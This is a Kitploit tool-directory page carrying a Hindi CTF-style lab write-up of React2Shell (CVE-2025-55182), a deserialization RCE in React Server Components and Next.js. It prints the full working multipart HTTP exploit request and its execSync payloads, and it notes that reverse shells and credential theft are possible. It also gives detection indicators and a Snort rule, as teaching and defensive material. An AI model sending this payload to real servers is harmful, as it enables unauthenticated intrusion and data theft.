Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: React सर्वर घटकों में अप्रमाणित असुरक्षित डिसीरियलाइज़ेशन, जो फ्लाइट प्रोटोकॉल के माध्यम से विश्वसनीय रिमोट कोड निष्पादन की ओर ले जाता है। | Kitploit
उपकरण/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: React सर्वर घटकों में अप्रमाणित असुरक्षित डिसीरियलाइज़ेशन, जो फ्लाइट प्रोटोकॉल के माध्यम से विश्वसनीय रिमोट कोड निष्पादन की ओर ले जाता है।

रिपॉजिटरी देखें
711 महीना पहलेअभी तक समीक्षित नहीं

🎯 React2Shell (CVE-2025-55182): रिएक्ट सर्वर कंपोनेंट्स से पूर्ण RCE तक

कठिनाई: मध्यवर्ती → उन्नत
श्रेणी: वेब शोषण | डीसेरियलाइजेशन | RCE

Cover


🧩 कार्य 1: परिचय — React2Shell एक बड़ी बात क्यों है

CVE-2025-55182, उपनाम React2Shell, उन कमजोरियों में से एक है जो तुरंत रक्षकों को घबरा देती है 😬। दिसंबर 2025 में खोजा गया, इसमें CVSS स्कोर 10.0 है, जो पहले ही बता देता है कि यह कोई सीमांत-केस बग नहीं है।

अपने मूल में, यह कमजोरी React Server Components (RSC) और उन पर बने फ्रेमवर्क को प्रभावित करती है — विशेष रूप से Next.js। डरावना हिस्सा?

👉 अप्रमाणित रिमोट कोड निष्पादन (RCE) 👉 एकल निर्मित HTTP अनुरोध 👉 डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित हैं

कोई लॉगिन नहीं। कोई विशेष अनुमति नहीं। बस एक सुनिर्मित अनुरोध।

🔥 प्रभावित React पैकेज

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ स्थिर संस्करण

  • 19.0.1
  • 19.1.2
  • 19.2.1

यह कक्ष हमें बताती है क्यों यह बग मौजूद है, कैसे इसका शोषण किया जाता है, और रक्षक इसके बारे में क्या कर सकते हैं।

झंडा: कोई उत्तर आवश्यक नहीं।


🧠 कार्य 2: React सर्वर कंपोनेंट्स और फ्लाइट प्रोटोकॉल

शोषण से पहले, हमें आर्किटेक्चर स्पष्टता चाहिए।

React सर्वर कंपोनेंट्स क्या हैं?

React सर्वर कंपोनेंट्स (React 19 में पेश) React ऐप के कुछ हिस्सों को सर्वर पर चलने देते हैं, ब्राउज़र पर नहीं। इसका मतलब:

  • भारी गणना सर्वर-साइड रहती है ⚙️
  • क्लाइंट केवल रेंडर किया गया आउटपुट प्राप्त करता है 📦
  • बेहतर प्रदर्शन, छोटे बंडल

प्रवेश: React Flight ✈️

क्लाइंट और सर्वर के बीच संचार React Flight प्रोटोकॉल के माध्यम से होता है। यह प्रोटोकॉल क्लाइंट पर डेटा को सीरियलाइज़ करता है और सर्वर पर डीसेरियलाइज़ करता है।

यह विशेष मार्कर का उपयोग करता है:

  • $@ → Chunk reference

  • $B → Blob reference

  • Property paths via colon notation Example:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ और यह सीरियलाइज़ेशन तर्क ठीक वहीं है जहाँ चीजें गलत हो जाती हैं।

प्रश्न: कौन सा प्रतीक Blob संदर्भ को दर्शाता है? ✅ उत्तर: $B


💣 कार्य 3: मुख्य कमजोरी — असुरक्षित डीसेरियलाइजेशन

CVE-2025-55182 के केंद्र में एक क्लासिक असुरक्षित डीसेरियलाइजेशन दोष है।

आइए असुरक्षित पैटर्न देखें (क्रॉप न करें 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... additional logic ...  
 return moduleExports[metadata[2]];  // VULNERABLE LINE  
}  

यह खतरनाक क्यों है?

जावास्क्रिप्ट में, ब्रैकेट नोटेशन:

root@kitploit:~
obj[someKey]

केवल निर्यातित गुणों तक पहुंच को सीमित नहीं करता। यह पूरी प्रोटोटाइप श्रृंखला पर चलता है।

अब महत्वपूर्ण अंतर्दृष्टि आती है 👀:

  • प्रत्येक जावास्क्रिप्ट फ़ंक्शन में एक .constructor होता है
  • constructor Function कंस्ट्रक्टर की ओर इशारा करता है
  • Function("code") = मनमाना JS निष्पादन

Flight संदर्भों को हथियार बनाना

क्योंकि Flight प्रोटोकॉल कोलन-पृथक पथों की अनुमति देता है, एक हमलावर भेज सकता है:

root@kitploit:~
$1:constructor:constructor

जो हल होता है:

  1. मॉड्यूल चंक प्राप्त करें
  2. .constructor तक पहुँचें
  3. फिर से .constructor तक पहुँचें → Function

इस बिंदु पर, खेल खत्म 🎮।

झंडा: कोई उत्तर आवश्यक नहीं।


🧨 कार्य 4: शोषण श्रृंखला — बग से RCE तक

अब आइए maple3142 के PoC को चरण दर चरण समझें।

🧩 चरण 1: नकली चंक ऑब्जेक्ट

हमलावर एक नकली Chunk ऑब्जेक्ट युक्त मल्टीपार्ट अनुरोध भेजता है:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

यह ऑब्जेक्ट React की आंतरिक Chunk संरचना की नकल करता है। then को Chunk.prototype.then की ओर इंगित करके, React को हमलावर-नियंत्रित तर्क की प्रतीक्षा करने के लिए धोखा दिया जाता है।

🧩 चरण 2: Blob हैंडलर का दुरुपयोग

$B1337 मार्कर Blob डीसेरियलाइजेशन हैंडलर को ट्रिगर करता है, जो आंतरिक रूप से निष्पादित करता है:

root@kitploit:~
response._formData.get(response._prefix + id)

लेकिन हमने जहर दिया:

  • _formData.get → Function
  • _prefix → दुर्भावनापूर्ण JS

परिणामी निष्पादन:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 मनमाना जावास्क्रिप्ट निष्पादन प्राप्त हुआ।

🧩 चरण 3: OS कमांड निष्पादन

PoC निष्पादित करता है:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

इसे आसानी से बदला जा सकता है:

  • रिवर्स शेल
  • गुप्त डेटा निकासी
  • फ़ाइल पढ़ना
  • क्लाउड क्रेडेंशियल चोरी ☠️

झंडा: कोई उत्तर आवश्यक नहीं।


📦 कार्य 5: पूर्ण HTTP PoC विवरण

यहाँ पूर्ण शोषण अनुरोध है (शब्दशः, क्रॉप नहीं किया गया):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…मल्टीपार्ट बॉडी जारी…)

ध्यान देने योग्य मुख्य बातें 👇

  • Next-Action हेडर सर्वर एक्शन को ट्रिगर करता है
  • multipart/form-data अनिवार्य है
  • $@0 एक स्व-संदर्भ बनाता है
  • $B1337 Blob तर्क को ट्रिगर करता है
  • constructor:constructor Function की ओर ले जाता है

यह आकस्मिक नहीं है — यह एक सटीक इंजीनियर्ड श्रृंखला है।

🌍 प्रभावित पारिस्थितिकी तंत्र

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • All 15.x
    • Early 16.x
  • अन्य: React Router (RSC), Waku, Redwood SDK

📊 Wiz शोध: 39% क्लाउड वातावरण उजागर 🌐 Shodan: 571k+ React सर्वर, 444k+ Next.js

वह… बहुत है 😶


🧪 कार्य 6: प्रयोगशाला में शोषण

पहले Repeater में, नया HTTP अनुरोध बनाएं और Target चुनें।

1

Burp Suite Repeater का उपयोग करके, हम पेलोड भेजते हैं:

root@kitploit:~
execSync('id')

2

और बाद में:

root@kitploit:~
execSync('whoami')

3

✅ परिणाम

  • उपयोगकर्ता: ubuntu

  • झंडा:

    root@kitploit:~
    {React-19.2.0}
    

स्वच्छ, विश्वसनीय, दोहराने योग्य शोषण 💀


🛡️ कार्य 7: पहचान और बचाव

रक्षकों के लिए अच्छी खबर 👮‍♂️ — शोषण फिंगरप्रिंट छोड़ता है।

🔎 हमले के संकेतक

  • Next-Action हेडर
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

ये सामान्य उपयोगकर्ता ट्रैफ़िक में कभी प्रकट नहीं होने चाहिए।

🚨 Snort नियम (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — असुरक्षित पैकेज ढूँढना

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

इसके लिए उपयुक्त:

  • CI/CD पाइपलाइन
  • एंडपॉइंट ऑडिट
  • प्री-प्रोडक्शन जाँच

4


🧠 अंतिम विचार

React2Shell इसका एक पाठ्यपुस्तक उदाहरण है:

  • क्यों असुरक्षित डीसेरियलाइजेशन घातक है
  • कैसे प्रोटोटाइप श्रृंखलाएं आपको धोखा दे सकती हैं
  • क्यों "डिफ़ॉल्ट कॉन्फ़िग" खतरनाक हैं

एक बार पैच किए गए संस्करण स्थापित हो जाते हैं और npm audit अनुशंसाओं का पालन किया जाता है, शोषण पूरी तरह मर जाता है ✅.

⚠️ अधिकृत प्रयोगशालाओं के बाहर इसका परीक्षण कभी न करें।
🔥 हमेशा तेज़ी से पैच करें।
🧠 हमेशा समझें क्यों एक बग मौजूद है — न कि केवल कैसे इसका शोषण करें।


⭐ मुझे फॉलो करें और जुड़ें

यदि आपको यह लेख पसंद आया या आप साइबर सुरक्षा, CTFs, और VAPT में मेरे काम से जुड़े रहना चाहते हैं:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

हैप्पी हैकिंग — जिम्मेदारी से 🗿🚀


टूल डाउनलोड करें